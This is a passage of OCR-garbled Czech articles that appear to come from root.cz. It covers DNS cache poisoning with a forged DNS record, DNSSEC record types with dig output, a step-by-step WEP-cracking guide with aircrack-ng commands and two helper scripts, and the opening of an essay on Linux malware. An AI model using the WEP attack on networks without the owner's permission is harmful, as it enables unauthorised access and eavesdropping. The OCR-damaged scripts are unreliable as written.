platnost. Dejme tomu, Ze se cache za chvili zeptd na dalSi adresu: blabla.example.com. Utoénik podvrhne

nasledujici zaznam:

;; ANSWER SECTION:
blabla.example.com. 120 INA 10.10.10.10
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;; AUTHORITY SECTION:
example.com. 86400 IN NS www.example.com.

;; ADDITIONAL SECTION:
www.example.com. 604800 INA 10.10.10.20

VSimnéte si posledni ¢asti. Tou se snazime DNS cache presvédEit o tom, Ze server www.example.com nyni sidli
na nové IP adrese. Pokud se nam to povede, bude si tato cache po 7 dni (604800) sekund tuto informaci drzet
a bude ji pfedavat svym uzivatelim.

Stéle je tfeba uhodnout transakéni ID, ale uz je mozné to délat kdykoliv a navic dotaz muze vyvolat i samotny
utoénik a tak staci generovat dotazy dostate¢né ¢asto (tfeba mnohokrat za sekundu) a Sance, Ze se trefime, je
pomérmé znacna. Vyhodou také je, ze se mizeme cache ptat na naprosto libovolné (nejlépe neexistujici)
domény, protoZe na tvaru dotazu vibec nezalezi.

Jak se branit?

Dodavatelé DNS serverl uz zacali dodavat zaplaty, kterymi vylepSuji své produkty. Kromé transakéniho ID je
nahodné generovan také odchozi port pro DNS pozadavky. VétSina serverl pouziva jeden nahodné zvoleny port
po celou dobu svého béhu. Po aplikaci zaplat je kazdy dotaz vygenerovan z jiného portu, kterych muze byt

65536, stejné jako ID. Pocet kombinaci nam tedy razem narista na 655362, coZ jsou vice nez 4 miliardy
moznosti.

| toto Cislo je vSak kone¢né a v laboratornich podminkach uz byl proveden Uspésny Utok na takto zabezpedeny
server. Podle autora trval utok 10 hodin.

Jedinou stoprocentni obranou je protokol DNSSEC, jehoz podpora bude u nas velmi brzy spusténa. Tato sluzba
rozSifuje moznosti DNS a umozfiuje zaznamy elekironicky podepisovat. Tim zcela zabrariuje jakémukoliv
podvrZeni udaju.

Cely Clanek i s diskusi je mozné najit na http://www.root.cz/clanky/dan-kaminsky-a-jeho-utok-na-dns-servery/.

4.4 Jak funguje DNSSEC?

Ondfej Sury — 29. 12. 2008

O DNSSEC se v posledni dobé hodné hovofi, jak ale tato bezpecnostni technologie funguje?DNSSEC je
technologie, ktera rozsifuje DNS protokol o nové typy RR zaznami a pfiznaky v DNS zpravé, a pomoci téchto
novych typ( Ize nasledné ovérit pravost informaci, které obsahuje DNS odpovéd.

Dnes jiz klasickym zplsobem, jak ovéfit pravost informaci, je digitalni podpis. Kazdy z nas se s digitalnim
podpisem v néjaké formé na Internetu iz setkal, at uz se jednalo o pfistup na zabezpecené stranky pres HTTPS,
digitaini podpis v emailu pfes X.509 certifikaty nebo OpenPGP. DNSSEC pfinasi digitalni podpis do svéta DNS.
Dulezité je si uvédomit, Ze rozSifeni DNSSEC bylo navrhovano s ohledem na maximalni zpétnou kompatibilitu.
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DNSSEC kli¢

Zéakladnim RR typem, o ktery DNSSEC rozsifil protokol DNS, je DNSKEY. Zaznam DNSKEY mlZe vypadat
napfiklad takto:

dnssec.cz. 600 IN DNSKEY 257 3 5 (
AWEAACc4x/KbNECb+dpDDBSvyxfTIvUxXyC3EAqCnXDp4
+IxjfmwCm1QfB/VIMfqQ2bSsEu51BPk/38dBG01COVES
tYit/Ux8gluDgZidx+ldZ9OAJ3Lnm7v/q5+gy2L.SzW46
p6U45WHmMGNDZ4c3uhzcfooXmQsW4Umlw+zDc2ePADy3M
bkr3SrlI3XDny10OHoW6Ch408qC+ezzRDSEnhrtpon+r9
4sqXF50k60LaqCRB3q9iaGUgviTVIZWJIIvZOwvxxpbH
SDd6QThM/CZBzcx/8JHAWP7MJcUQYS8XvBwRdaAfVDuE
FjUj6IF+vgn8P11ipQUrF8LOOAHf1dHBou1XjuE=
) ; key id = 17398

RDATA zaznamu DNSKEY obsahuji pfiznaky kliCe (257), typ protokolu (3 = DNSSEC), pouzity algoritmus
(5 = RSASHAT1) a data vefejné Casti kliCe (AwWEA...juE=). Z DNSKEY kliCe se da ziskat jesté jeden udaj, ktery je
spiSe jen informativni a tim je keytag (nebo také id) klice — 16-bitové Eislo pouzivané pro rychlou identifikaci.
Obecné doporuceni (nikoli vSak nutnost) je pouzivat dva druhy kli¢l — ZSK (Zone Signing Key) a KSK (Key
Signing Key). Z nazva téchto kli€l vyplyva, Ze prvni typ bude pouZit pro podpis samotného obsahu zony a druhy
typ se bude pouzivat pouze pro podepisovani kli¢l. Toto rozdéleni je Cisté praktické — vyména klicu neni trivialni
operace  a proto byla i v ramci kli¢l zavedena jedné zony hierarchie.

KSK je kli¢, ktery mUze byt silngjSi (méa vétsi poCet bitt), vysledny podpis je vétsi, podepisovani timto klicem je
kli¢ pouzit pouze pro vytvofeni jediného podpisu v celé zéné a to podpisu vSech DNSKEY zaznamd. Diky vétsi
sile tohoto kli¢e mlze byt v z6né publikovan a pouzivan delSi dobu bez ohroZeni bezpec€nosti. KSK se od ZSK
li$i pouze jednim bitem v pfiznacich kli¢e (257 je KSK a 256 je ZSK).

ZSK je pak kli¢, ktery je slabsi, a pouziva se pro podpis vSech zaznamu v zoné (vCetné DNSKEY). Protoze je kli¢
slab&i, musi byt ménén &astéji, ale diky hierarchii mezi KSK a ZSK, neznamena vyména ZSK zadnou interakci
s dalSimi subjekty. V jednom z dal$ich dill serialu si ukazeme, jak a pro¢ je potfeba klice ménit.

DNSSEC podpis

Nyni si ukazeme dalSi novy RR typ, ktery je potieba pro vlastni digitalni podpis pomoci DNSSEC - typ zdznamu
RRSIG. Pokud si jesté vzpomenete na prvni dil naSeho serialu o technologii DNSSEC, tak jsme hned na zaCatku
miuvili o RRSetech, coz jsou vSechny takové RR zaznamy, které maji vSechny Udaje kromé RDATA stejné.
Termin RRSet je pro DNSSEC dUlezity, protoZe digitalni podpis se vytvafi pro RRSet a nikoli pro jednotlivé RR
zaznamy. DNS odpovéd s DNSSEC mize vypadat napfiklad takto:

$ dig +norec +multi +dnssec www.dnssec.cz @b.ns.nic.cz

; <<>> DiG 9.5.0-P2 <<>> +norec +multi +dnssec www.dnssec.cz @b.ns.nic.cz
;; global options: printcmd

:» Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19348

;; flags: gr aa; QUERY: 1, ANSWER: 2, AUTHORITY: 3, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
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www.dnssec.cz. INA

;; ANSWER SECTION:

www.dnssec.cz. 600 IN A217.31.205.50

www.dnssec.cz. 600 IN RRSIG A5 3 600 20090127010003 (
20081228010003 58773 dnssec.cz.
rkrCtJFuRt+jCuUENMB8eKO90DEsYXCE8QP5vn1zc1ES
r+NS+KVUgicJ4QFdGIb8qoQYCDFEOyVdYYEc2nybn9gQ
Icx4rKGRCZ3SAGGFLgjOnip60qI6ESIWDqGu5kvgJPGo
wpmXsWqBd1mApd8NIDQGLIRt7U6RsRCshBnbKA4= )

;; AUTHORITY SECTION:

dnssec.cz. 600 IN NS b.ns.nic.cz.

dnssec.cz. 600 IN NS a.ns.nic.cz.

dnssec.cz. 600 IN RRSIG NS 5 2 600 20090127010003 (
20081228010003 58773 dnssec.cz.
ZY4WqF4SKEWUaAOWaqgu517qdyy9tZgnJedr3DATIGecT
cXKIMXUjDI6Gc3jZqtw55DWVDEH5SIb2jnSgILUMSBRBQ
dm45b4r+r45x10yP20btg5LXkmVdQVTqOBmfL3hzUqt
uoSafDmYVNOHFwqTNVfkaRotaSpvXBNXU43Z1cE=)

;; Query time: 18 msec

;; SERVER: 2001:1488:dada:184::188#53(2001:1488:dada:184::188)
: WHEN: Sun Dec 28 18:18:21 2008

;» MSG SIZE rcvd: 435

V sekci Odpovéd vidime samotny A zaznam a k nému pfislusny RRSIG zaznam, sekce Autorita obsahuje
pfislusné DNS servery pro doménu dnssec.cz a podpis tohoto RRSetu. Pokud se podivame na obsah RDATA v
RRSIG zaznamu, tak objevime tyto polozky:

Polozky v RRSIG zédznamu

Typ podepsaného zaznamu

Pouzity algoritmus (5 - RSASHA1)

Pocet labelt podepisovaného doménového jména
600 TTL ptvodniho zaznamu
20090127010003 Datum konce platnosti podpisu
20081228010003 Datum poc¢atku platnosti podpisu

58773 Keytag kli¢e pouZitého pro vytvofeni podpisu
dnssec.cz. Vlastnik kli¢e pouZitého pro vytvofeni podpisu (jméno zény)
rkrC...KA4= Digitalni podpis

Klientska strana tedy dostala o jeden RR zadznam navic a k ¢emu je tento zaznam dobry? Pokud mate spravné
nakonfigurovany rekurzivni DNS server, aby provadél validaci DNSSEC podpisu (dale také validujici resolver),
mUze tento ovérit, Ze data nebyla v pribéhu transportu zménéna nebo kompletné podvrzena. Toto je pomérné
dulezita informace - validace podpisl se vzdy provadi na strané klienta a podpis je vzdy pfedpocitan dopfedu,
takZe samotny DNSSEC nezatézuje autoritativni DNS servery.
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Z uzivatelského hlediska je obsah zaznamu RRSIG nezajimavy — pokud hledame chybu, tak mizeme
zkontrolovat udaje jako jsou datum pocatku a konce platnosti, keytag kli¢e a vlastnika kli¢e. Ovéreni platnosti
samotného digitalniho podpisu neni v silach normalnich smrtelnikd.

V pfikladu vySe jsme se ptali pfimo autoritativniho serveru, ktery neprovadi validaci. Pokud stejny dotaz polozime
nakonfigurovanému validujicimu resolveru, bude vypadat malinko jinak:

$ dig +multi +dnssec www.dnssec.cz @localhost

; <<>> DiG 9.5.0-P2 <<>> +multi +dnssec www.dnssec.cz @localhost

;; global options: printcmd

:» Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61066

;; flags: gr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 3, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
www.dnssec.cz. INA

;; ANSWER SECTION:

www.dnssec.cz. 600 IN A217.31.205.50

www.dnssec.cz. 600 IN RRSIG A5 3 600 20090127010003 (
20081228010003 58773 dnssec.cz.
rkrCtJFuRt+jCuUENMB8eKO90DEsYXCE8QP5vn1zc1ES
r+NS+KVUgicJ4QFdGIb8qoQYCDFEOyVdYYEc2nybn9gQ
Icx4rKGRCZ3SAGGFLgjOnip60qI6ESIWDqGu5kvgJPGo
wpmXsWqBd1mApd8NIDQGLIRt7UGRsRCshBnbKA4= )

;; AUTHORITY SECTION:

dnssec.cz. 600 IN NS a.ns.nic.cz.

dnssec.cz. 600 IN NS b.ns.nic.cz.

dnssec.cz. 600 IN RRSIG NS 5 2 600 20090127010003 (
20081228010003 58773 dnssec.cz.
ZY4WqF4SKEWUaAOWaqgu517qdyy9tZgnJedr3DATIGecT
cXKIMXUjDI6Gc3jZqtw55DWVDEH5Ib2jnSgILUMSBRBQ
dm45b4r+r45x10yP20btg5LXkmVdQVTqOBmfL3hzUqt
uoSafDmYVNOHFwqTNVfkaRotaSpvXBNXU43Z1cE=)

;; Query time: 396 msec

;» SERVER: 127.0.0.1#53(127.0.0.1)
: WHEN: Sun Dec 28 18:41:23 2008
;; MSG SIZE revd: 435

V pfiznacich DNS zpravy ubyl pfiznak AA (Authoritative Answer), protoze odpovéd jiz neni autoritativni, a pfibyl
pfiznak AD (Authenticated Data). Tento pfiznak indikuje, ze validujici resolver ovéfil platnost DNSSEC podpisu
a data v DNS odpovédi jsou spravna a nebyla pozménéna. Tento pfiznak ovSem dostaneme pouze pokud
pouzijeme volbu +dnssec na pfikazové Fadce nastroje dig, ktera v DNS dotazu nastavi pfiznak DO (DNSSEC
OK). Pokud bychom tento pfiznak nenastavili, tak v DNS odpovédi nepozname, Ze RR zaznamy byly validovany.
Takto je zajiSténa zpétna kompatibilita s klienty, ktefi DNSSEC neznaji. MoZna vas v tuto chvili napadlo - a jak
tedy klient pozna, pokud byla data podvrzena a digitalni podpis nesouhlasi? V takovém pfipadé se DNS odpovéd
vrati s chybovym pfiznakem (RCode) SERVFAIL a $patna odpovéd se ke klientovi viibec nedostane. Navratovy
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kod SERVFAIL bude nastaven i v pfipadg, ze ,jen* vyprsi asova platnost podpisu. | v takovém pfipadé jiz neni
RRSIG podpis platny a nebude validovan. Proto je potieba podpisy v zonovém souboru pravidelné obnovovat.

Pro odliSeni normalni chyby serveru a chyby ve validaci DNSSEC podpisu byl zaveden specialni pfiznak CD
(Checking Disabled), ktery nastavuje klient v dotazu na validujici resolver. Tento pfiznak zpGsobi navrat dat
v DNS odpovédi i v pfipadé, Ze podpis neni validni. Vice o tom, jak tento pfiznak pouzit, si fekneme v nékterém
z dalSich dild naSeho serialu, ktery bude vénovan hledani chyb.

Podpis neexistujiciho zaznamu

V pfedchozim odstavci jsme si ukazali, jak vypada podpis pomoci DNSSEC. Jisté jste si vSimli, Ze podepsané
jsou RR z&znamy. Pokud si vzpomenete na pfedchozi dily serialu, tak jsme si ukazovali, ze v pfipadé, Ze
dotazovany zaznam neexistuje, je v DNS odpovédi nastaven navratovy kod RCode na hodnotu NXDOMAIN.
DNS odpovéd, ktera v sobé neobsahuje Zadna data, ovSem nemU(ze byt podepsana. A v tuto chvili nastupuje
dalsi typ RR zéznamu - NSEC:

www.dnssec.cz. 600 IN NSEC dnssec.cz. AAAAARRSIG NSEC

www.dnssec.cz. 600 IN RRSIG NSEC 5 3 7200 20090127010003 (
20081228010003 58773 dnssec.cz.
ZrZv9ILNNFkjnhJ+9gLI9kZUISLHPIr+qNBqTyJg3gSo
7DpnmCI4tNHdpJKMOCKYf7nuZ1vBebNtiBEMPpdv/Z3K
MbnF7GWxSOBItvx3cHBa/OHov1ZhPyVyxvE17NvMANo02
K0654YZu/o8YsfDelmcQkT/gngclIWEBwWV3ly/Y=)

NSEC je RR zaznam, ktery ve svych RDatech obsahuje informaci o nasledujicim zaznamu v setfizené zéné
a informaci o v8ech existujicich typech pro vlastnika zaznamu. Pfi dotazu na neexistujici zaznam vraci
autoritativni DNS server takovy NSEC zaznam, ktery je pfed a za dotazovanym doménovym jménem v pfipadé
kompletni neexistence takového doménového jména, nebo pfimo NSEC zéznam se shodnym vlastnikem
v pfipadé neexistence konkrétniho typu RR zdznamu.

V letoSnim roce bylo standardizovano rozsifeni NSEC zaznamu — NSEC3, které odstrariuje jednu kritizovanych
vlastnosti NSEC zaznamu: moznost jednoduché iterace celou zonou. O NSEC3 psal nedavno na Lupé Pavel
Satrapa ve ¢lanku NSEC3 - DNSSEC, ktery nic nevyzradi.

Halé, ja jsem podepsal!

Ve chvili, kdy je zona podepsana, musite n&jakym zpisobem dat védét svému okoli, Ze jste podepsali a pro
podpis pouzivate ten a ten konkrétni KSK kli€. Mohli byste sv(j kli¢ poslat vSem subjektim, které by chtély vasi
z6nu validovat, nebo pouzijete hierarchicky systém DNS a pouzity kli¢ publikujete do nadfazené zény. Publikace
v nadfazené zéné se déje pomoci posledniho nového typu RR zaznamu — zaznamu o bezpecné delegaci DS
(Delegation Signer):

dnssec.cz. 1800 IN DS 17398 5 1 (
BBDDDD272C4D81EF941C722CEF79A848B543502D )

dnssec.cz. 1800 IN RRSIG DS 5 2 1800 20090105140535 (
20081206140535 4092 cz.
dN2nO7C3vKDqgf1Q0e+Ulijsp8orlYWD95PpjyssHCUAK
Tya8bkwDz4B86KSyapFO+j6N1dgXRzwxi3dE3IPDKxzO
pVG+oTTnJZakgLgxEaRf4H69sqcWmImVMPoHEHM/Y/p/
zZXVUPZFZ0oSQH74ztQYf1XRQ3rP7liIEdBO8TOu%0= )

DS zaznam je hodné jednoduchy. Obsahuje keytag kli¢e (17398), algoritmus kli¢e (5 — RSASHA1) a hashovaci
algoritmus DS zaznamu (1 — SHA1). Nasleduje hash vytvofeny z vlastnika DS zdznamu a DNSKEY RDATA.
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Tento zaznam je publikovan a podpsan v nadfazené zoné — v tomto pfipadé bude tento zdznam v z6né narodni
domény .cz.

Cely Clanek i s diskusi je mozné najit na http://www.root.cz/clanky/jak-funguje-dnssec/.

4.5 Napadeni Wi-Fi siti zabezpecenych technologii WEP

Adam Strauch - 14. 10. 2008

Pokud nema byt bezdratova sit verejna, méla by pouZivat jednu z moznosti zabezpecCeni, kterd nemusi nutné
vést k pouZiti Sifrovani na linkové vrstvé. Dnes nej¢astéji pouZivanou metodou pfi zabezpecovani sité je
WEP/WPA/WPA2. V tomto ¢lanku si ukdZeme, Ze prvni moznost prakticky zabezpeceni neni.

Uvod

K napsani tohoto ¢lanku mé ved| fakt, Ze vétSina bezdratovych siti v mém okoli v&etné ¢asti té nasi stale pouZiva
WEP Sifrovani nebo vibec Zadné. S WPA se tu prakticky neda najit Zadné AP, kromé par vyjimek, a na WPA2
neni $ance tu narazit viibec. Kv(li slabému zabezpeceni nékterych spojl jsem se rozhodl pro jednu z pfistich
schuzi spravcl oblasti pfedvést, jak jednoduse se da WEP prolomit a jak se dostat k informacim, které po siti
putuji. K tomu jsem pouzil nastroje aircrack-ng.

Pro¢ je Sifrovani dilezité

Pii volbé zabezpeceni v nasi siti nam nejde Casto ani tak o fakt, Ze by se mohl nékdo pfipojit, ale ze data
uzivatell cestuji ve vzduchu jakkoli nezabezpecena. Pro znesnadnéni odposlouchavani sité se nejCastéji pouziva
Sifrovani na linkové vrstvé. O v§echno se pak stara WiFi ¢ast. Neni to jediné mozné feSeni. Muzeme se setkat
i s otevienymi sitémi, které jsou Sifrované pomoci IPsec tunelu, coz je navrhové Cistsi feSeni, které jde ruku
v ruce s problémy.

Moznosti

Pro zabezpeCeni na linkové vrstvé se nejéastéji pouziva WEP,WPA nebo WPA2. Cilem é&lanku je ukazat, Ze
v pfipadé WEP se o zabezpeCeni prakticky nejednd. WPA a WPA2 jsou v rozumném Case neprolomitelné
a prakticky jina moznost nez slovnikovy nebo "brute force" utok nejde pouzit i pfesto, Ze je WPA slab$i nez
WPA2. Nebudu se zabyvat Sifrovanim do podrobna, ale uvedu pouze zékladni popis.

WEP

WEP je dnes stale ¢asto pouzivané feSeni bezpednosti v bezdratovych sitich. Da se najit u fady profesionalnich
poskytovatelli Internetu. Kromé "lenosti" administrator( je jeho roz$ifeni patrné dlsledkem nekompatibility
u star§iho zafizeni.

WEP kli¢ mize byt 64 az 256 bitovy (u nékterych vyrobcu), ale Castéji narazime na 128 bitovy. WEP kli¢ se
sklada z inicializaéniho vektoru (IV) a samotného klice. Sifrovaci metoda, ktera je pouZita se nazyva RC4. Je
velmi rychla, ale v nékterych pfipadech napadnutelna. Pro utok na APCka zabezpecena WEP kli¢em jsou duleZité
inicializaCni vektory a jejich poet urCuje Uspésnost nalezeni kli¢e. V jednom z mych pokust mi na 128 bitovy kli¢
stacilo priblizné 25 000 inicializacnich vektor(.

Existuje vice verzi WEP zabezpeceni, ale v praxi se s nimi tak ¢asto nesetkate.
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WPA

WPA vzniklo jako reakce na slabiny WEP. Jedna se o ¢ast navrhu WPA2, ktera byla implementovana vyrobci
jesté predtim, nez bylo uvolnéno. Z WPA2 je pouzit jeho tieti navrh a neobsahuje vlastnosti, které WPA2 ano.
WPA je navrzeno pro karty, které podporuji WEP. Z toho vyplyvd mnohem lepSi kompatibilita i se starSimi
zafizenimi. Hlavni zménou oproti WEP je TKIP. To je protokol, ktery zajiStuje pravidelnou vyménu kli¢i mezi AP
a klienty.

V praxi se setkame se dvéma druhy pouziti WPA.

=  WPA-PSK
=  WPA-EAP

Prvni z nich se hodi pro pouziti v malych sitich jako je tfeba kancelaf, domaci sit, mozna i propojeni sousedu.
Spodiva v tom, Ze se pro pfistup do sité pouziva heslo a dalSi komunikace uz se fidi pfes ménici se klice.

WPA-EAP je popsano v 802.11x, kdy se pro ovéfeni uzivatele pouziva uZivatelské jméno a heslo. Ovéfeni
probihd na ovéfovacim serveru. Tohle feSeni je dobré napfiklad pro firmy, kde kazdy zaméstnanec ma vlastni
pfistupové Udaje, které nepouziva pouze v kombinaci s pfipojenim do intranetu, ale také tfeba pro pfihldSeni na
firemni pocitace.

WPA2

rezim CCMP. Nevyhodou je nekompatibilita nékterych zafizeni mezi sebou a prakticky zadna podpora u zafizeni
vyvinutych pfed rokem 2006. Dnes vétSina prodavanych notebookd, routerti a WiFi karet WPA2 podporuje. Praxe
ale ukazala, Ze i kdyz 2 zafizeni podporuji WPA2, rozdily v implementaci nedovolily dvéma bodliim se spojit.
IPsec

Existuji i nazory, ze by se Sifrovani nemélo na linkové Urovni vibec fesit a mél by se pouzit tunel IPsec. Vice
informaci Ize najit v lanku o IPsec na rootu.

Legalnost

U nas a v mnoha dalSich statech neni legalni nabouravat se do cizich siti. Proto nasledujici postup nepouzivejte
na AP, ke kterym nemate svoleni od majitele.

Co zvolit za hardware

Dalo by se Fici, ze obecné plati pravidlo "Na Linuxu jediné Atheros" a v tomto pfipadé to nebude jiné. Ale i v
Atheros chipsetech pro WiFi karty se najdou nepodporované vyjimky. DalSi chipsety, které muzete zvolit jsou
tfeba od firem RaLink, Intel nebo Broadcom.

Ja pro tyto Ucely pouzivam kartu Intel 4965AGN a té se také budou tykat navod, ktery by mél s minimaini zménou
fungovat i u ostatnich karet.

Aircrack-ng
Co musi ovladaé¢ podporovat

Vlastnost, kterou pro "otevirani" zaSifrovanych APCek potfebujeme, se jmenuje "packet injection”. Ta dovoluje
odesilat nastroji aircracku modifikované pakety ven.
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vv v

Linuxovy kernel se packet injection Uspésné brani, standardné ho nepodporuje. Pro moji kartu staci pouzit jediny
patch. Pro ostatni karty se mnozstvi patch(i m0Zze liSit. Neni problém najit patche pfes google nebo na strankach
aircracku.

Postup
NeZ zatneme, musime pfepnout WiFi kartu do "Monitor" modu (wlan0 nahradte vlastnim interfacem) a nastavit

kanal.

ip | s wlan0 down
iwconfig wlan0 mode Monitor channel X

DalSim krokem je spusténi zachytavani paketu.

airodump-ng -¢ <kanal> --bssid <cilova MAC adresa> -w <log soubor> wlan0

Volba -c nastavuje kanal, --bssid adresu APCka, které se ma napadnout a -w je cesta k logovacimu souboru. Na
konci se uvadi na$ interface.

Hned po té otestujeme, jestli jede "Packet injection”.

godie ~ # aireplay-ng -9 wian0

18:37:29 Trying broadcast probe requests...
18:37:29 Injection is working!

18:37:30 Found 2 APs

[.]

Pokud se neobjevi napis "Injection is working!", tak to nemusi znamenat, Ze néco je Spatné. ObCas pomuze
spustit logovani provozu v pfedchozim kroku. Nékdy zase je potfeba znovu nacist ovlada€.

NeZ zaCneme s utokem, jesté se musime k APCku pfihlasit, abychom mohli ,injektovat* viastni pakety a AP je
neignorovalo.

aireplay-ng -1 6000 -0 1 -q 10 -e <essid> -a <mac cile> -h <moje mac> wlan0
Cislo 6000 znamena, e se kazdych 6 sekund pokusi karta o autentifikaci a autorizaci s AP&kem. Volba "-0 1"
zajisti, aby se odeslala pouze jedna skupina paketl nutnych pro autentifikaci a autorizaci. DalSi volba "-q 10"
nastavuje jak ¢asto se maji posilat keep alive pakety v sekundach.
Ted uz nam funguje logovani provozu, jsme asociovani s APEkem a vime, Ze packet injection funguje. Je na Case
spustit jednu z moznosti jak ovliviiovat AP¢ko naSimi pakety. Tim ziskame potfebny pfenos dat a AP¢ko nam
bude posilat v potfebném mnoZstvi pakett, které potfebujeme.

Bez packet injection je napadnuti APCka také mozné, ale trva to nesrovnatelné déle.

Poslednim krokem je spusténi analyzy paketd.

aircrack-ng -z -b <cilova mac> <log soubor>*.cap

Program se bude pokouSet kazdych 5000 pfijatych inicializacnich vektorl o vypocet klice. Pokud se mu to
povede, tak ho vypiSe a akce je Uspésna.
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Pomocné skripty

Pro jednodusi ovladani jsem napsal dva skripty, které ulehCuji praci pfi spousténi jednotlivych kroku. Akce z
kazdého kroku musi bézet najednou kazda ve svém shellu, takze opisovani MAC adres a dalSich Udaju neni
nejpohodingjsi feSeni.

Prvni skript crackwifi.sh

#l/bin/sh

MYMAC=$2

TARGETMAC=$3

ESSID=$4

LOG=%6

C=$5

case $1in

)
echo "$0 <X/4> <moje mac> <cilova mac> <essid> <kanal> <log>"

||1 n )
echo "Krok jedna:"
airodump-ng -¢ $C --bssid STARGETMAC -w $LOG wlan0

)
echo "Krok dvé:"
# Normalni
#aireplay-ng -1 0 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
# Rozmazlena AP¢ka
aireplay-ng -1 6000 -0 1 -q 10 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0

||3ll )
echo "Krok tfi:"
aireplay-ng -3 -b STARGETMAC -h $MYMAC wlan0

")
echo "Krok Ctyfi:"
aircrack-ng -z -b $TARGETMAC $LOG*.cap
esac
Druhy skript fight.sh
#l/bin/sh
ESSID=TEST
MYMAC=00:21:5c:47:49:33
TARGETMAC=00:4F:67:03:51:30
CHANNEL=1
LOG=/tmpl/test

if["$1" =="r"]; then
rmmod iwlagn
rmmod iwlcore
rmmod rfkill
sleep 1
modprobe iwlagn
fi
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if["$1" =="s"]; then
rmmod iwlagn
rmmod iwlcore
rmmod rfkill
sleep 2
modprobe iwlagn
sleep 1
ip |'s wlan0 down
iwconfig wlan0 mode Monitor
ip|'s wlan0 up
sleep 2
fi
sh crackwifi.sh $1 SMYMAC $TARGETMAC $ESSID $CHANNEL $LOG

Pouziti skriptt

Informace o siti, kterou chceme napadnout nastavime na zaCatku skriptu fight.sh. Skripty budou mozna
potfebovat mensi upravy pro vade WiFi karty a vas systém.

Zapnuti monitor médu:

sh fight.sh s

Navraceni WiFi karty do ptvodniho stavu:
sh fight.sh r

Krok 1 (Zapnuti logovani):

sh fight.sh 1

Krok 2 (Pfipojeni k AP):

sh fight.sh 2

Krok 3 (Injektovani paketd):

sh fight.sh 3

Krok 4 (Analyza zalogovanych paket( a nalezeni klice):
sh fight.sh 4

Zavér
Byl jsem rychlosti vypoctu 128 bitového kli¢e pfekvapen a po nékolika pfenesenych kB pfes napadnutou WiFi byl
kli¢ nalezen. Cela akce trvala pfiblizné 10 minut. Pokud zkou$im napadnout nase APC¢ka venku, uz to neni tak

jednoduché a chvilku to trva. Nejedna se o dny ale spiSe desitky minut podle signalu.

Cely Clanek i s diskusi je mozné najit na http://www.root.cz/clanky/aircrack-ng-napadeni-wep-siti/.
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4.6  Maji viry na Linuxu skutecné zelenou?

Petr Krémar - 27. 4. 2007

Eugene Kaspersky se domniva, Ze problém linuxovych vird se objevi velmi brzy a pfispéje k tomu predevsim
roz$ifeni uZivatelské zakladny. Zdalo by se, Ze pravé pocet uzivatell je tim jedinym, co brani virdm v $ifeni. Je
tomu ale skutecné tak? Které dalsi faktory je tfeba brat v potaz? Co nahrava Linuxu?

Poznamka autora na Gvod: Cilem ¢lanku je pfedevSim vyvraceni nékterych mytl, které okolo linuxové
bezpecnosti panuji. Zaroven by mél zacateénikim vysvétlit, na éem vlastné s Linuxem jsou.

Clanek Eugena Kasperského vyvolal bouflivou debatu. Mezi diivody bylo také jednostranné tvrzeni o tom, e ,a7
bude vic uzivateld, budou i viry”. Pan Kaspersky je jisté velkym odbornikem na problematiku pocitaCové
bezpecnosti, ovdem situace neni tak Eernobila, jak bylo naznaéeno.

Faktord, které ovliviiuji Sifeni virl na Linuxu, je podstatné vice. Pokusim se nyni celou problematiku rozebrat
z pohledu operacniho systému a jeho vlivu na $ifeni vird, ¢ervd a dalSiho Skodlivého kodu. Vétsina aktualnich
hrozeb pochazi pfedevsim od Cervd, tedy program(, které se samy $ifi pfes Internet bez pomoci uzivatell. Proto
se v dalSim textu budeme zabyvat prave jimi.

vivs

ovéem v tom, Ze vsichni pouzivame velkou fadu desktopovych aplikaci, bez ohledu na konkrétni platformu.
Pokud napfiklad prohlizime stranky rok a pul starou verzi prohlizece, otevirame tim do naSeho pocitace diru, at
uz béZime na MS Windows, Linuxu nebo Mac OS X.

Pokud se tedy Utoénik zaméfi na takovou skupinu uzivatell, ma zcela jisté Sanci uspét a propaSovat do pocitace
svij kod. Nelze tedy a priori tvrdit, ze ,mam Linux, a tak se mé to netyka”. | pro néj totiz existuji déravé aplikace.

To ovSem zaroveni neznamena, Ze jsou Sance vyrovnané. Faktor( je daleko vice a jgjich role je nezanedbatelna.
Pocty uzivatelu

Ty jsou Castym argumentem nejen pana Kasperského, ale i dalSich, ktefi se snaZi vysvétlit, pro¢ pro Linux
v podstaté neexistuji masové roz$ifené viry a dalSi hrozby. Podle statistik méficiho serveru NAVRCHOLU.cz ma
v Ceské republice Linux na desktopovém pogitadi priblizné jedno procento uzivatelt. Je tedy jasné, Ze Linux
patfi mezi minoritni systémy. Logickym dusledkem je tedy pfima dméra: ¢im vice uzivatell — tim vice vird.

Na prvni pohled nezpochybnitelny vyrok ovSem za€ne pokulhavat, jakmile se podivame na zastoupeni Linuxu na
serverech. Podle zpravy spoleénosti NetCraft ze zafi 2006 pouziva minimalné osm z deseti nejvétsich svétovych
webhosteri na svych serverech Linux. Je zfejmé, Ze penetrace Linuxu na dulezitych Internetovych uzlech je
znacéna. Pfesto stale nepozorujeme masivni Utoky Internetovych Cervil na tyto pocitaCe, které by byly jisté velmi
chutnym soustem. Pro¢ tomu tak je?

Uzivatelé na vyssi urovni
Diky relativné nizkému zastoupeni Linuxu na béznych domacich poéitadich bychom mezi uZivateli nalezli
rozhodné vétsi mnozstvi odbornikl nez v pfipadé uzivateli MS Windows. To je samo o sobé zarukou jisté

kvality uzivateld i samotnych instalaci. Znaly uZivatel Linuxu se automaticky vyhne zacateCnickym chybam,
nebude bezhlavé spoustét kazdy program a nezabyvé se napfiklad nevyZadanou postou.
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Otazkou je, jak bude vypadat vyvoj uZivatelské zakladny do budoucna. V tomto ohledu je tfeba dét jisté za pravdu
panu Kasperskému. Pokud se poCet uzivatelll v budoucnu rapidné navysi, dojde k ,rozfedéni” odborné vefejnosti
a Cim dal Castgji se tak setkame s jedndnim zndmym z dnes majoritniho operacniho systému. Zcela jisté to

situaci zhorsi. Otazkou je, nakolik dramaticka zména to bude a jak se promitne do virové problematiky.
Administratorské ucty

Velmi ¢astym problémem uZivateli MS Windows je, Ze jsou zvykli bézné pracovat pod administratorskym uctem.
